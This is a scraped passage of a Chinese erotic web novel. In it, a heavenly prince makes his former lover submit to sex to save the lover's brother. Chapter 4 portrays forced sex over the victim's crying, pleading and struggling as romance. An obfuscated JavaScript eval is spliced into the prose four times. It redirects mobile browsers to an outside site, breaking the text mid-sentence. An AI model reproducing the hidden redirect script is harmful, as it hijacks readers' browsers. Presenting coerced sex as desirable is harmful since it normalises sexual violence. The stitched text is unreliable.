《任是无情也动人》 1. 第一章 故人重逢 北荒,广延城,北荒总督府所在地,是北荒最富饶繁华的城池。 谢珩在城中不起眼的角落,开了一家名为华垣阁的店铺,收些草药妖兽,卖点法器符篆,生意谈不上做得多大,最多混个衣食无忧。 这日早上,他正在清点账目,铺子里的小伙计福宝来上工,兴冲冲地对他说道:“华垣君,据说少君平叛结束了,今日要入城,街上会很热闹。” “嗯。”谢珩轻轻应了一声,表示他知道了,依然看着账目,写写算算。 华垣君是他的雅号,自从他开了这家华垣阁,许多人就称呼他为华垣君,久而久之,他就以此为雅号了。 碧水神君的叛乱,持续了许多年,闹得北荒大乱,商道断绝,民不聊生,北荒总督主司辰星君平叛不力,帝君一怒之下,撤了他的职,派了少君前来总督平叛事宜,算起来少君来北荒,快三年了,这场叛乱总算结束了。 “以后,我们店铺的生意就会好起来了吧。”福宝这么说着,语气中有些期待。 “应该吧。”谢珩点了点头。 北荒到处乱着,商道断绝,人员往来各地也不再安全,铺子的生意自然一日不如一日,往后不乱了,想来生意会有所好转。 接下来一段时间,福宝一边整理铺子里的东西,一边眼睛总忍不住要往铺子外面溜,谢珩见他这样,笑着对他说道:“你去看看吧,不要往人多处挤,小心被人挤到了。” “好。”福宝应了一声,几步并一步,跑到了门前,想想又不对,回过头来问他:“华垣君,你不去看吗?” “我还有事,就不去了,你去吧。” “嗯。”福宝这才高高兴兴出了门。 快中午时,谢珩收到一封传信,城北的老陈让他送点疾行符过去。他就取了东西,关了铺子,骑上天马,送货去了。 广延城中开着禁飞大阵,天马只能在路上快步小跑,还没到朱雀大街,路上就到处是人,到了朱雀大街,更是围得水泄不通。 谢珩到时,就听到许多人在喊:“快来了,快来了。” 他稍等片刻,就看到了四海八荒共主天界帝君的爱子,风华绝代实力超群的天界少君,玄衣沉沉,神情淡然,端坐在由麒麟拉着的辇车上,伴随着无数护卫仪仗,从朱雀大街上缓缓行过。 见到他的车驾出现,路上的行人纷纷低头行礼,谢珩也低下了头。 少君的仪仗延绵数里,一直等到仪仗全部过完,路口才重新通行。 接下来几日,广延城有些不平静,街上到处都是玄甲兵士的身影。 谢珩的店铺虽然开着,但是生意还是半死不活,大半天都没有一个人影。 这日,他听到外面传来一阵喧嚣,走出来一看,就看到福宝望着店门口,神情有些惶恐。 谢珩走到店门口,左右张望了一下,就看到有一队玄甲兵士,正拖着几人在路上行走,被拖着的那几人,不知是死是活,街上的青石板,染上了斑斑血迹。 那是少君的亲卫营——玄甲卫,正在大肆搜捕清理广延城中的叛军同党。 谢珩一直等到那队兵士走远了,才施了个清洁术,洗去了店门口的血迹。 “华垣君……”福宝看着他,眼中满满都是害怕。 “这几日就住在铺子里,不要回家了。”谢珩怕他早晚回家,路上会有不妥,就将他拘在了铺子里,不让他再出门。 又过了几日,一个深夜,有人敲响了华垣阁的店门。 敲门声不大,但是很坚持,持续了很久。 谢珩披上了衣服,打开门,看到来人,有些意外:“阿爹,你怎么来了?” 谢南山见门一开,迅速进来,又把门关上了,仔细听了听外面的动静,没听到什么,才对谢珩说道:“阿珩,快想想办法,救救阿瑾,阿瑾被玄甲卫带走了。” 谢瑾是谢珩的弟弟。 “阿爹,你是谢氏家主,你都没有办法,我能有什么办法?”谢珩看着他说道,眼眸有些深沉。 “阿珩,你有办法的,你去求求他,求求他。”谢南山低声哀求道。 “阿爹,我只是广延城中一名小小的商人,他高高在上,就算我去求见,他也不会见我。”谢珩又道。 “阿珩,那是你弟弟啊,阿爹求你了,救救他,进了玄甲卫,没人能活着出来,据说都是被活生生打死的,尸首都被打烂了。”谢南山突然跪了下去。 “阿爹……”谢珩也跪了下去。 第二日,谢珩还是禁不住谢南山的苦苦哀求,前往总督府投了一份名刺。 “华垣君?华垣阁的东主?这又是哪个牌面上的人物?广延城一点规矩都没有了吗?真是什么人都敢来总督府投名刺!”负责整理投递名刺的侍从,看到这份名刺,嘟囔了几句,不过当他看到名字时,却愣了一下。 哪些人求见,少君会见,哪些人不会见,心腹的侍从们大致明白,这位,八成还真是少君会见的人。 昨日,玄甲卫汇报,抓捕了城中势家谢氏子弟谢瑾时,少君多说了一句:“谢瑾?哦,是谢珩的弟弟,先不忙着用刑!” 少君的话,每一句都不是没有缘由,怕不是正等着这位谢珩来求见。 果然,这份名刺送了进去,里面很快传来了少君召见华垣君的钧令。 “华垣君,请。”侍从们将谢珩引到了谒见厅,请他入内。 少烜没有料到,他会在这样的情形下,再一次见到谢珩。 此时离他们上一次见面,已经过去了整整八百年。 纵使是寿命悠久的天人,八百年也是一段足够漫长的时光,漫长到记忆中的点点滴滴,全部化作了斑驳的虚影。 八百年前,他哀求谢珩不要走,八百年后,谢珩跪在他身前,祈求他对谢瑾手下留情。 少烜闭了闭眼,深深吸了口气,压下心头涌上来的荒谬感觉。 人生若只如初见,到如今,不过是相见不如不见。 “求我?阿蛮打算怎么求我?”他将心中那些莫名的情绪一一斩断,轻声问道,唇角微微上扬,英俊的脸上浮起了笑容,眼中却没有一丝暖意。 谢珩听到他唤阿蛮,心中忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878729|191946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住一颤。 阿蛮是幼时母亲给他取的小名,母亲去世后,再没人这样唤过他。 那时,他们初相识,他说,他叫阿蛮,后来,又有人唤他阿蛮了。 彼时,少烜这么唤他,总让他心生欢喜,如今,少烜这么唤他,却有种物是人非的感觉。 “少烜,求求你,求你高抬贵手,放过阿瑾吧……”谢珩跪在地上,仰着头看着他,低声哀求。 “孤什么时候允许阿蛮直呼孤的名字了?”少烜不为所动,还要挑剔他的称呼。 “殿下……”谢珩听到他这么责问,马上改用了敬称。 他见少烜无动于衷,又听到少烜问他要怎么求,迟疑了一会儿,才膝行几步,跪到了少烜的脚边,见他没有伸手推开,试探着将头放到了少烜的膝上。 少烜依然没有推开他,只是微笑着看着他,仿佛是在鼓励他继续。 谢珩抖了抖嘴唇,却没有说什么,很快垂下了眼帘,将头埋到了少烜的腰间。 少烜今日穿的是常服,并不是在外时里三层外三层的大礼服,只着了条长裤,外面罩了件外袍,衣物皆是丝质,若是平日里绝不会被人一碰就有了感觉,但是被谢珩沿着衣袍上的痕迹从下到上描了一遍,不动如山的姿态终于还是没法保持下去了。 他将手掌用力按在了谢珩的后脑勺上。 谢珩闷哼了一声,却没有停下来。 虽然隔着衣物,感觉并不是很强烈,但是少烜还是有了感觉,因为做这事的是眼前这个人。 “这可真是……”他忍了一会儿,还是没能忍住,笑出声来。 这可真是士别三日,当刮目相看。 当日他舍不得谢珩有半分不适,从不会勉强他这么做,所以谢珩根本不会这个,今日谢珩却用这么熟练的姿态来服侍他,他是不是该嘉奖一番教会谢珩这些东西的人。 他在起来之前,将手指插入谢珩的头发中,稍微用了点力,将他的头发往上扯,示意他抬起头来。 “殿下……”谢珩听到了少烜的笑声,以为他喜欢这么做,却被他硬生生打断了,不解地发问。 少烜俯下了身,吻了吻他有些湿润的眼,直到他闪躲着眨了眨眼睛,才问他:“来之前洗过了?” 谢珩闻言愣了愣,随即摇了摇头。 “洗干净我们再继续!” 少烜向外招呼了一声,命人将谢珩带下去清理干净。 他直起身,靠在椅背上,慢慢回味那些早就被他丢在了遥远过去的记忆,唇边的笑意再一次冒出来了。 他很早以前就预料到了,相见不如不见,从来没有期待过与谢珩重逢时,那些早就成灰的过往,能被悉数归还,却没有想到,有朝一日,谢珩会来求他,会用这么卑微的姿态来向他祈求。 这可真是……太有意思了。 他端坐在空无一人的谒见厅中,缓缓闭上眼睛,低声笑了起来。 怪不得很多人会说,人生充满了意外,你永远不知道明天会有什么样的惊喜出现。 纵使是天人,也不会例外。 2. 第二章 今时往日 谢珩年少时曾经来过总督府赴宴,多年不曾来,眼前的一切,他乍眼望去,四顾之间,俱是陌生之感,不知道带路的这些侍从们,要将他带到哪里去。 北荒总督府占地颇广,园中亭台楼阁、花园水榭,皆是美轮美奂,据说很得少君喜爱。 当然,总督府和天宫中连绵数百里的少君居处太微宫肯定没法相比,对于少君来说,这喜爱,大概就是矮子里面拔将军,稍稍比旁的地方能入眼而已。 谢珩随着侍从们在檐廊下穿门过院,越走,他的心里越不安。他数次兴起了转身而去的念头,又生生压了下来,强忍着心中冒出来的无数忐忑,继续跟着他们往前走。 今日他要是这么走了,谢瑾的下场可想而知。哪怕原先谢瑾还有活命的机会,他这么一来,最后又不辞而别,少烜就算脾气再好,都要被他弄得大怒了,更何况少烜从来就不是个以德报怨的人。 但是他现在不走的话,他预感得到,他心底珍视的某些东西,很快要变成碎片了。 侍从们引着谢珩,七拐八拐,进入了一个院子,里面有腾腾雾气随风飘出,想来院中不是有天然的温泉,就是有阵法在供热。 院子里有个浴池,不过这不是目的地,他们一行人,去的是浴池隔壁的屋子,只见屋里面摆了个宽大的竹榻,特别显眼,进门第一眼就能看到。 侍从们进了门,纷纷行动了起来。 有人拿了软布,去擦拭竹榻,有人用手去试水温,还有人送了数个盒子进来,摆在了竹榻边的高几上。 侍从们将几上的盒子一一打开,谢珩看清楚了盒子里的东西,脑中一直徘徊着的逃跑念头,不由得更加高涨了。 “华垣君,请宽衣上榻。” 侍从们准备好了清洗的一切物事,见谢珩始终站在那里,没有任何动静,有位侍从彬彬有礼地提醒他。 “我……”到了眼前这个地步,谢珩既说不出拒绝的话,又不想当着这么多人脱下衣物,进行接下来的事,真正陷入了进退两难之间。 侍从们见他始终没有动静,上前来欲帮他宽衣。谢珩忍不住闪躲起来,互相推让了几下,事情就变成了他抓着衣襟,和想要帮忙的侍从们僵持在那里。 对于眼前如此尴尬的情形,侍从们面上不动声色,心中都悄悄嘀咕开了。 他家少君作为帝君的爱子,天界名副其实的第二人,实力超强的天界年轻俊秀,天宫中想要上他榻的人,多如过江之鲫,只有他家少君看不上别人的,从来没有少君看上了,有人却不愿意的。 当然要是真的不愿意,就离开好了,反正他家少君从无强迫别人的兴趣,现在华垣君摆出这副被强占的民男模样,算怎么一回事? 太微宫的侍从们,几百年来服侍少君左右,什么争风吃醋邀宠献媚的事都见识过,偏偏没见识过邀宠成功,待要上榻时,却不肯脱衣服的主。 今日他们第一次见识这种新鲜事,一时之间,倒是被他难住了。 按说少君先前有了吩咐,他们该帮着华垣君脱,但是真的强行帮他脱的话,岂不是在强迫他了? 说实话,这么多年来,少君的身边,怎么样都短不了人,所以少君既没有欺男霸女的兴致,也没有非谁不可的兴致,他们这些侍从,从来就没干过硬要把不愿意的人送上少君榻这种事,根本掌握不好这个度。 最后,他们彼此交换着眼神,也没商量出什么好办法,就这么僵持在了那里。 正在众人不知道该如何是好的时候,换过一身衣服的少烜,进了屋子。 他一进来,没有去管仿佛被强抢的民男一样抓着衣襟的谢珩,只是看了看盒子里的东西,又吩咐了几句,等到侍从们把他要的东西全部呈了上来,才挥手让人全部下去。 少烜在打开着的一排盒子里挑挑捡捡,选了大小不一的数个玉什,将它们一一浸入药液中,才开口说话。 “阿蛮,当年的事,你要是有别的话想解释,现在可以说来听听。”少烜对旧事重提毫无兴趣,但是谢珩自己找上门来求他,刚才撩了他一番,撩出了他的兴致,现在又摆出这么一副忠贞不屈的模样,到底是要干嘛? 如果当年他的离开,真有什么不得已的苦衷,现在不妨说给他听听,反正闲着也是闲着。 “当年的事,没什么好说的。”谢珩低垂着头,不想多作解释。 当年,少烜是现在的身份,他肯定不会走,但是那时少烜还不曾被帝君认回天宫,只是个普通的平民少年,对他的家族毫无益处,偏偏那时他的家族急需找人借力,需要他去联姻可以借力的家族,无奈之下他们只能分手,现在说什么不得已,不过是借口。 就算他厚着脸皮说出口,少烜又何尝不明白事实如何。 既然如此,又有什么好多说的。 何况他们之间到了如今这个地步,再说什么也是无济于事。 “既然你无话可说,那就脱吧!”少烜抬眼直视着谢珩的脸庞,平静地开口说道,语气中不带一丝波动,犹如在说今日天气不错。 “啊?”他的话题变得太快,谢珩还沉浸在往事中,一下子反应不过来,只能傻愣愣地看着他。 “脱啊!阿蛮,你来和我谈条件,总要让我看看你的本钱。若是你脱了衣服,我连和你上榻的兴趣都没有,现在说这么多,岂不是在浪费我们彼此的时间?” 少烜这番话,太粗俗直白了,恐怕只有凡夫俗子,才会像他这样,毫不掩饰地把所有的言下之意都直接说出口,直白到让谢珩觉得有些难堪,仿若当年那位对他温柔以待的少年,刚才谒见厅中那位姿态优雅神情高贵的天界少君,只是他的臆想。 但是话已经被他说到了这个地步,谢珩再去说别的,就是矫情了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878730|191946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢珩看到少烜不但这么说,脸上还露出了饶有兴致很期待他脱衣服的神情,脸色慢慢苍白起来,他深深吸了一口气,闭了下眼睛,又睁开来,仿佛终于下定了决心似的,什么话都没有再多说,直接三下两下就扯掉了身上的衣服,大大方方站在少烜的面前,任由他打量着自己的身体。 他的动作干净利落,心却不停地哆嗦,害怕少烜接下来会说出更难听的话,或者干脆对他的身体表示不屑一顾,直接拒绝他的请求。 少烜只是看着,始终不说话,谢珩的心就一直悬在那里晃荡个不停,但是他的身体却始终保持纹丝不动,就这么直直地站在少烜的面前,仿佛什么都不在意,少烜想看,就随便他看好了。 少烜本来以为谢珩包裹在衣服里的身体会很瘦弱。 当年他就偏瘦,还娇气得不行,一点苦都不能吃,动不动就要和他撒娇。 等到谢珩真的站到他面前,少烜才发现他估计错了,或者他的记忆一直停留在他们的少年时代。 彼时他们都还年少,身体不曾长足,谢珩年纪比他大点,也不过稍长两岁,无论是谢珩还是他自己,都比现在纤细瘦弱。 漫长的岁月过去,他们在时光的流逝中渐渐从少年长成了青年,自然不复旧日的模样。 现在的谢珩,窄腰宽肩长腿,肢体挺拔匀称,全身没有一丝赘肉,每一寸肌肤中仿佛都蕴藏着力量。 他对于在榻上迁就娇气柔弱的身体,早就不感兴趣,谢珩如今这般健康的身体,享用起来,才是真正的美味。 既然谢珩的身材,很合他现在的口味,实力也勉强凑合,不至于上一次榻,就被他玩到爬不起来,那么他求的事,就算不上多大的事了。 “阿蛮,陪我玩半个月,这半个月,你乖乖听话,半个月后,你就可以带谢瑾一起回去。”少烜终于宣布交易成立,“当然,我对勉强别人一点都不感兴趣,你随时可以说结束。至于你我提前结束了,谢瑾还能不能活着回去,或许你可以赌一下,我是不是有外界盛传得那么大度。” 听到少烜终于说出了他想要的承诺,谢珩悄悄松了口气,至于他后面说的话,谢珩没打算当真。哪怕整个天界一直在盛赞少烜那让人仰慕的风华和气度,从少烜来到北荒后采取的凌厉手段,就知道他不是一个没脾气的人。 “我会听话的。”谢珩终于得到了他想要的结果,沉声答应了少烜的要求,他的内心深处,某些东西却在渐渐碎裂。 今时不同往日,世事倏忽就变,从来就没有例外。他早就明白了这个道理,却始终不肯承认,仿佛只要他不承认,就可以不用去面对。 但是,总有一天,连欺骗都是枉然,现在,不过是到了这一天。 他明白的,他什么都明白的,却不知道到了此时,他还在忧伤些什么,或许,他只是在哀悼那些早就逝去了的岁月。 3. 第三章 爱慕权势 “听话就好,躺到榻上去吧。” 少烜不知道谢珩心中的那些莫名伤感,就算知道了,恐怕也不会有什么共鸣,反而会嘲笑他。既已求仁得仁,又哪来这么多幽怨,莫不是人心太过不足,而欲壑总是难填? 谢珩听到少烜的吩咐,这次二话不说,就乖乖地躺到了竹榻上。 少烜满意地点了点头,仔细欣赏谢珩的躯体。 他的目光从谢珩的额头,慢慢下滑,一路游弋过他抖动的喉结,微微起伏的胸膛……最后目光落在了那里。 不知道想到了什么有趣的事,他忍不住轻笑了一声。 就这样,一个以任人为所欲为的姿势躺着,另一个居高临下地打量着,眼中带着些难以言喻的笑意,渐渐的,空气中慢慢渗出了令人不安的味道。 谢珩的身体开始微微地发抖。熟悉而陌生的人,熟悉而陌生的眼神,让他开始害怕接下来会发生的事情。 “别怕,现在只是清洗一下,不会弄疼你的。”少烜看到谢珩仿佛有些害怕,收回了滑得有些远的思绪,伸手摸了摸他有些僵硬的脸庞,安抚了他几句。 这话其实毫无诚意,不过是随口说说,不用太当真,因为现在不会,待会儿就未必了。 但是谢珩仿佛没有听明白他的言下之意,被他这么安抚了几句,情绪渐渐平稳了下来。 怎么过了这么多年,还是这么蠢,总是轻易地相信别人? 少烜在心底嗤笑了一下谢珩不合时宜的天真,才坐到竹榻旁边的椅子上,引来旁边浴池里的温水,辅以祛尘膏,将谢珩全身上下里里外外都清洗了几遍。 他并没有说谎,整个过程他都很温柔,一点都没有故意为难谢珩,所以当他将谢珩抱到怀里时,谢珩如当日那般,温顺地靠在他的肩头,手抱住了他的腰。 这个动作太熟悉,熟悉到少烜有些恍惚起来,以为他们不是多年未见,而是从未分离。 这样温馨的氛围,他突然不想太快去打破。 他看了一眼浸在药液中的玉什,本来他想让谢珩一日之间全部适应,到了夜间,他就可以好好享用他的身体了,反正只要不怕他吃苦头,并非真不能做到,现在想想,时间多得是,还是慢慢招呼他吧。 少烜选了最小的一个,如往日一般,哄着他,慢慢置入了他的身体,才抱着红着脸的他,一个闪身,出现在了寝殿。他将谢珩放到了榻上,转身去取东西。 谢珩躺在榻上,换了好几个姿势,才让身体的不适感减少了一些。 他多年未有过这样的事,就算是最小的,不适感也很强烈。不过他也知道,不想真的在接下来的事中遭大罪,这一关必须要过,少烜没有太心急,肯给他一点时间,让他慢慢适应,已经算是看在往日的情份上,不愿太为难他了。 过了片刻,他看到少烜走过来,将一个盘子放在了旁边的高几上。 少烜从盘子里拿起一个杯子,喝了几口,又把杯子递给他。 谢珩接过杯子,喝了一口,瞬间,一股浓烈的灵气进入了身体,显然,这是好东西。 原来,这就是上天界少君榻的好处吗? 谢珩暗暗想道。 天界少君的风流轶事,就算是在北荒,也时有流传。谢珩时常听闻,谁和谁,又为了少君抢破了头,现在想来,好处这么多,不抢才怪了。 少烜见他喝了一口,就不动了,开口道:“阿蛮,把它喝完了。” “嗯。”谢珩回过神来,不再胡思乱想,抬起杯子,一口一口喝了。 少烜见谢珩一直没发现,他就着他喝过的地方在喝,也不去提醒他,见他喝完了,就接过空杯子,放回到盘子上,才对他说:“别光躺着不动,偶尔也得动动,让身体习惯一下,你知道我的规矩,按规矩来,不要太勉强,更不要乱来,弄伤自己,觉得累了就歇一歇,饿了就用点果子,我有点事要去处理,午膳一起用。” “好。”谢珩应是。 少烜离开后,谢珩屏住呼吸,小心动了下。 少烜榻上的规矩,以前等于没有吧,反正只要他不肯,少烜马上妥协,现在好像也不是特别难吧,让身体习惯一下这事,他的身体长久没有尝过这种滋味了,只几下,就让他酸软无力难受起来,他看了下几上的盘子,上面放的果子都不是凡品,而是灵果,他吃了几颗果子,缓了缓,又小心地动了动。 到了午膳前,少烜入了殿,抱起他的身体,让他坐在自己腿上,就听他哎哎叫起来,难受之中又带了点说不出来的喜意,就知道他一上午没有偷懒,真的自己动过了。 “阿蛮,这么乖,给你点奖赏好不好?”谢珩肯乖乖配合,没有像以前那样,吃了一点苦,就什么都不肯做了,需要他费时许久,才能尽享鱼水之欢,少烜自然满意,让他自己选择奖赏,“想要我碰哪里?” “殿下……”谢珩的脸色有点红,靠在他怀里,不说话。 少烜知道他的意思,他很贪心,都想要,他难得这么乖,愿意听话,什么都肯照着做,少烜心情好了,自然也是他要什么都肯应,遂亲了亲他的耳朵,才道:“阿蛮,在榻上,叫我少烜。” “少烜……”谢珩才唤了一声,就被少烜的动作打断了。 接下来,两人折腾了半晌,最后,少烜给谢珩换了个新玉什,才抱着他去用午膳。 太微宫的侍从们,这一天,不长别的,光长见识了。 能在少君近前服侍的,既是聪明人,也是贴心人,少君和榻上情人怎么相处,根本不会避着这些人。 这位华垣君,真真是厉害啊! 旁人上少君榻前,都是由他们这些侍从伺候着,里里外外清洗干净,生涩者还须好好教一教少君榻上的规矩,才能送上少君的榻,供少君享用,免得有人不懂服侍的规矩,扫了少君的兴。 旁人学规矩时,行住坐卧,神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878731|191946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态自若,都是学规矩的一部分,哪怕身体再难受,表情也须欢欢喜喜的,才是服侍时的规矩,做不到,就是规矩没学好,哪敢送到少君面前去自讨没趣。 这位华垣君,他不乐意旁人伺候,能让少君亲自动手,他没学过规矩,能让少君亲自教他,而且少君这规矩教的明显是省略版,大概是怕他服侍时身体受伤,少君才不给他省这规矩,其他规矩,少君提都没提,他学规矩,能在少君的榻上学,他学规矩时走路不方便,能让少君抱着他走,他要是吃饭不方便,少君大概也会亲自喂他吃吧。 太微宫中的那几位,知道了这个消息,恐怕会跳脚吧。 毕竟,这是几百年来,任何人都没有得到过的待遇。 那几位就算得宠,也就是不用服侍时,免了一些规矩,服侍时,每一道规矩都不能省,该怎么着就得怎么着,否则出了什么岔子,扫了少君的兴,永远都不可能再上少君的榻。 就算是流云公子,在少君身边几十年了吧,也不敢在少君面前,使任何性子,老老实实按着少君的规矩来,不让少君烦心,才是他得宠多年的原因。 但是,凡事皆有例外。 现在,华垣君这个例外就出现了。 他一边用膳,一边蹙着眉头在和少君说话,明显是因为身体难受,在使性子,少君却没觉得他有哪里不对劲,依然好声好气和他说话。 侍从们服侍少君用这顿迟了许久的午膳时,看着少君和华垣君这般相处,面上没有表情,心中早就响成一片了。 用完膳,华垣君直接扑到了少君怀里,少君却没有不耐烦地推开他,反而又抱起他,将他送回了寝殿。 看到这一幕的侍从们,除了华垣君真是厉害,找不到其他话可说了! 接下来,少烜又花了两天时间,让谢珩的身体更习惯了一点,才准备好好享用他的身体。 在这之前,他决定给谢珩一次机会,也给自己一次机会。 “阿蛮,过段时日,和我一起回太微宫吧!”他附在谢珩耳边,低声说道。 谢珩听到这话时,神志有些不太清醒。此时,少烜的手,让他又舒服又难受。 过了片刻,他才反应过来:“殿下,这是命令,还是商量?” “命令怎么样?商量又怎么样?”少烜问他,语气有些莫名。 “如果这是殿下的命令,我当然不能违抗殿下的钧令。要是殿下和我商量的话,我想留在北荒,还望殿下成全。”谢珩尽量清醒了一点,回道。 少烜看了他一会儿,才说道:“我明白了。” 他的眸色深沉,有些话,却懒得说了。 当年,谢珩说他爱慕权势,所以离开无权无势的他,他就当这是真话吧,如今他就是权势,滔天的权势,如果谢珩以前不清楚的话,经过这几日的相处,相信他很清楚明白了,结果,谢珩还是想离开他。 谢珩,骗他很好玩吗? 4. 第四章 心魔滋生 第二日,少烜醒过来时,谢珩还睡着。 他看了谢珩一会儿,决定还是做早就想做的事吧,继续拖延下去,只会越来越下不了手。 少烜抱住他的时候,谢珩一开始还有些迷糊,后来意识到发生了什么,也没有多大反应。 这事少烜迟早会做,等他几天,也算他很有耐心了。等他觉得疼的时候,才意识到不对劲。 “少烜,我疼。”谢珩颤声说道。 “哦。”少烜只用一个字回答。 “少烜,你轻点,我疼。”谢珩继续说道。 “哦。”少烜依然用这个字回答。 “少烜,你饶了我吧,我去太微宫,我去!”谢珩开始哀求起来。 “哦。”少烜的回答只有这个字。 后来,谢珩终于明白他想干嘛了,拼命挣扎起来,甚至不惜和他动手。可惜,实力差距摆在那里,所以少烜毫不费力就把他制服了,继续干他想干的事。 最后,谢珩终于忍不住大哭起来。 “殿下,我疼……” “殿下,不要用这么残忍的方式杀死少烜,不要……” “殿下,少烜是这世上对我最温柔的人,求求你了,不要用这样的方式杀了他!” “殿下,我疼……” 少烜见他哭成这样,虽然心里恨不得让他直接疼上一天一夜,此生只要想到他,唯有噩梦,再也没有可供回味的温柔记忆,就此斩断彼此的过往,挖掉这块心魔滋生的土壤,身体却还是不由自主放缓了速度。 等谢珩好不容易缓过了气,不再哭这么惨,他又换了比开始轻一点,但是绝对不会让谢珩觉得很好过的力道继续。 “阿蛮,你为什么不来见我?你不是说你喜欢权势吗?难道现在我还不够有权有势?我一直在太微宫,等着你来爱慕权势,你始终不来。三年前,我来到了北荒,等着你来见我,你还是不来。你为什么不来见我?”他沉声逼问这个可恨的人。 八百年前的事,早就在不知不觉之中,成为了心魔滋生的土壤。 他后来所有的情人,特意避开了和谢珩类似,也不会在榻上,再迁就任何人,但是,心魔并没有消失,始终在壮大。 后来,他才明白,他在等谢珩回头,唯有谢珩回头了,不管是斩断前缘,还是再续前缘,才算真正了结此事。 但是他没想到,就算他特意来到了北荒,谢珩却始终不愿回头。 偏偏这事,太过刻意,有碍因果,于事无补,若不是谢瑾的事,谢珩大概直到现在还不愿来见他,有本事再和他耗上八百年。 “殿下,我不来见你,是因为我知道,只要见了面,我的少烜就会死去了。”那个对他温柔以待的少年,是谢珩此生最珍贵的回忆,伴随着他走过了无数岁月,天界少君再尊贵,也不是他记忆中的少年,只要他见了天界少君,昔日的记忆就会烟消云散了。 反正只要他不去见天界少君,以天界少君的骄傲,不可能主动来见他。唯有如此,他的少烜,才能永远活在他的记忆中。 他早就有了这样的预感,所以从来没想过,要去太微宫找他,就算三年前,天界少君来到了北荒,他也没打算重逢,却没想到,真的见了面,天界少君竟然想要用这样残忍的方式直接杀了他记忆中的少年,挥剑斩断这段前缘。 “我的阿蛮呢?还活着吗?”少烜的声音中,也有了哑意。 “早就死了。”谢珩颓然道。 “既然如此,让少烜下去陪他,不是很好吗?”少烜笑了起来,只不过笑声有些嘶哑。他一直等着谢珩回头,等到心魔滋生,却没想到,是八百年前的自己,让谢珩始终不愿回头。 谢珩闭上眼睛,不再说话,也不再哀求,只是默默流泪。 少烜看着他,蓦然心中一软,凑过去亲了亲他满是泪痕的脸庞,终还是温柔了起来。 眼前这个可恨的人,是他年少时的挚爱,哪怕经过了这么漫长的岁月,他们之间横亘着无法逾越的过往,他还是舍不得见他这么哭。 既然舍不得,只能不舍了。 没过多久,帐中发出的声响,变得甜腻起来。 “阿蛮,过段时间,和我一起回太微宫吧!”不知道过了多久,少烜突然说道。 “我不。”谢珩说道,听口气就知道,他不高兴。 “这不是商量,而是命令!”少烜又道。 “就不。”谢珩还是不答应。 “阿蛮,过几天,我们去红叶原玩吧,我已经很久没有梦见红叶原,都快记不得红叶原长什么样了。”少烜沉默了片刻,又道。 “嗯。”谢珩这才不反对了。 红叶原,是他们年少时的缘起之地,谢珩自然不会反对。 少烜突然发现,和八百年前的自己争夺谢珩,想赢,恐怕没这么容易。 稍后,侍从们进来服侍时,发现殿内一片狼藉,遍布灵气激荡造成的痕迹,有些痕迹是少君造成的,还有一些,大概是华垣君造成的。 侍从们见状,不由得面面相觑,很快,有人出去报信,不一会儿工夫,侍从长栖云君进来了,他见了礼,就在殿内走来走去,查看各处痕迹。 “少君,华垣君是否对少君出手了?”栖云君看着榻边的一处痕迹,问道。 “我们就切磋了一下,大概一时间没收住力吧。”少烜肯定不能说实话。对他出手,是不可饶恕的大罪。 “少君,臣下对少君出手,乃刺驾谋逆大罪,当三族皆削了仙籍抽了仙骨贬入凡间永世为奴。”栖云君说道,“就算华垣君是切磋时没收住力,少君法外开恩,也该赏他三百下震魂鞭,让他长长记性。” 少烜看了谢珩一眼,见他脸色苍白,知道他害怕了。 早前谢珩挨了他几下,就哭成这样,震魂鞭可以直接鞭挞魂魄,他岂不是要哭惨了。 他舍不得打他,但是不罚,又不能服众,毕竟,使小性子是一回事,不知轻重就是另一回事了。 他略微想了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878732|191946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,说道:“他还要服侍我,震魂鞭三百下,至少要养上一年半载才能爬起来,让谢瑾代领,命他观刑吧。” “少君……”栖云君对于他这种明显偏袒的做法,表示不满。 “至于他本人,晚间自有惩罚。”少烜又道。 “少君……”栖云君不信他这话,榻上的奖赏和惩罚,互相之间随时可以切换,不过是种说法,谁当真谁傻。 少烜见他不依不饶,有点头疼。 